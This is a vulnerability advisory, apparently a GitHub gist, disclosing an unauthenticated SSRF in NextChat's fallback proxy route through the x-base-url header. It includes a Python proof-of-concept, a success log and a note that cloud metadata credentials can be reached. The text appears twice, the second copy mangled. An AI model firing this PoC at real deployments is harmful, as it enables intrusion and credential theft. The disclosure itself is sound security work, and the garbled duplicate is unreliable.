Source: https://gist.githubusercontent.com/YLChen-007/da6b00024f5b7e1d4fa0658c19b77fbf/raw
Advisory Details
Title: Server-Side Request Forgery (SSRF) via Open Proxy Fallback (x-base-url Header)
Description:
Summary
A Server-Side Request Forgery (SSRF) vulnerability allows unauthenticated attackers to execute arbitrary HTTP requests against internal or external networks. The NextChat Next.js proxy route handler (app/api/proxy.ts) can be invoked by a generic fallback handler (app/api/[provider]/[...path]/route.ts) when an unrecognized provider is specified. The proxyHandler acts as an open proxy by improperly trusting the x-base-url HTTP header to determine the destination URL without any domain validation.
Details
The app/api/[provider]/[...path]/route.ts API route is responsible for proxying requests from the NextChat frontend to various LLM provider APIs (e.g., OpenAI, Azure). When the requested provider does not match any known provider in the switch statement, the route blindly defaults to the standard proxyHandler implemented in app/api/proxy.ts.
The root cause of this SSRF is the absence of strict domain whitelisting and input validation inside the proxyHandler. Specifically, when the handler computes fetchUrl, it concatenates the user-supplied HTTP header x-base-url with the requested path segments and query parameters:
const fetchUrl = `${req.headers.get("x-base-url")}/${subpath}?${req.nextUrl.searchParams.toString()}`;
Since the x-base-url is completely attacker-controlled, passing a malicious internal target like http://127.0.0.1 or http://169.254.169.254 forces the application to fetch that resource directly and stream its response back to the client. While correctly-patched proxy routes (like webdav) have built-in SSRF protection that blocks malicious internal URL formats, the standard proxyHandler lacks this validation entirely.
PoC
Prerequisites
- The target must be running the NextChat instance with its API endpoints exposed.
- No authentication is required to hit the
unknown-provider route, as the proxy logic executes before any state or API key validation is enforced for unknown providers.
Reproduction Steps
- Save the following code as
docker-compose.yml:
services:
nextchat:
build:
context: ../../../../
dockerfile: Dockerfile
container_name: nextchat-proxy-ssrf
ports:
- "3000:3000"
environment:
- BASE_URL=http://localhost:3000
- Start the NextChat instance:
docker compose up -d --build
- Save the following Python script as
poc.py:
import requests
def test_proxy_ssrf():
target = "http://localhost:3000/api/unknown-provider/get?foo=bar"
headers = {
"x-base-url": "http://httpbin.org"
}
try:
response = requests.get(target, headers=headers, timeout=10)
print("[*] Proxy SSRF Response Status:", response.status_code)
print("[*] Response body snippet:")
print(response.text[:500])
if "httpbin.org" in response.text and response.status_code == 200:
print("[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!")
else:
print("[FAILED] Request blocked or failed. Status:", response.status_code)
except Exception as e:
print("[FAILED]", e)
if __name__ == "__main__":
test_proxy_ssrf()
- Run the exploit PoC:
Log of Evidence
[*] Proxy SSRF Response Status: 200
[*] Response body snippet:
{
"args": {
"foo": "bar"
},
...
"headers": {
"Host": "httpbin.org",
...
}
}
[SUCCESS] Exploit bypassed routing and hit target via Proxy SSRF!
Impact
Server-Side Request Forgery (SSRF). Attackers can proxy requests to internal network services, circumvent firewalls, access internal metadata (e.g., cloud Instance Metadata Service at 169.254.169.254 to steal temporary AWS cloud credentials), or use the server as an open proxy to attack external domains anonymously.
Affected products
- Ecosystem: npm
- Package name: nextchat (ChatGPT-Next-Web)
- Affected versions: <= v2.16.1
- Patched versions:
Severity
- Severity: High
- Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
- CWE-918: Server-Side Request Forgery (SSRF)
Source: https://gist.githubusercontent.com/YLChen-007/da6b00024f5b7e1d4fa0658c19b77fbf/raw
Advisory Details
Title: Server-Side Request Forgery (SSRF) via Open Proxy Fallback (
x-base-urlHeader)Description:
Summary
A Server-Side Request Forgery (SSRF) vulnerability allows unauthenticated attackers to execute arbitrary HTTP requests against internal or external networks. The NextChat Next.js proxy route handler (
app/api/proxy.ts) can be invoked by a generic fallback handler (app/api/[provider]/[...path]/route.ts) when an unrecognized provider is specified. TheproxyHandleracts as an open proxy by improperly trusting thex-base-urlHTTP header to determine the destination URL without any domain validation.Details
The
app/api/[provider]/[...path]/route.tsAPI route is responsible for proxying requests from the NextChat frontend to various LLM provider APIs (e.g., OpenAI, Azure). When the requested provider does not match any known provider in the switch statement, the route blindly defaults to the standardproxyHandlerimplemented inapp/api/proxy.ts.The root cause of this SSRF is the absence of strict domain whitelisting and input validation inside the
proxyHandler. Specifically, when the handler computesfetchUrl, it concatenates the user-supplied HTTP headerx-base-urlwith the requested path segments and query parameters:Since the
x-base-urlis completely attacker-controlled, passing a malicious internal target likehttp://127.0.0.1orhttp://169.254.169.254forces the application to fetch that resource directly and stream its response back to the client. While correctly-patched proxy routes (like webdav) have built-in SSRF protection that blocks malicious internal URL formats, the standardproxyHandlerlacks this validation entirely.PoC
Prerequisites
unknown-providerroute, as the proxy logic executes before any state or API key validation is enforced for unknown providers.Reproduction Steps
docker-compose.yml:poc.py:Log of Evidence
Impact
Server-Side Request Forgery (SSRF). Attackers can proxy requests to internal network services, circumvent firewalls, access internal metadata (e.g., cloud Instance Metadata Service at
169.254.169.254to steal temporary AWS cloud credentials), or use the server as an open proxy to attack external domains anonymously.Affected products
Severity
Weaknesses
proxyHandlerblindly trusts thex-base-urlheader without domain whitelisting or loopback validation to determine the upstream proxy destination.proxyHandler.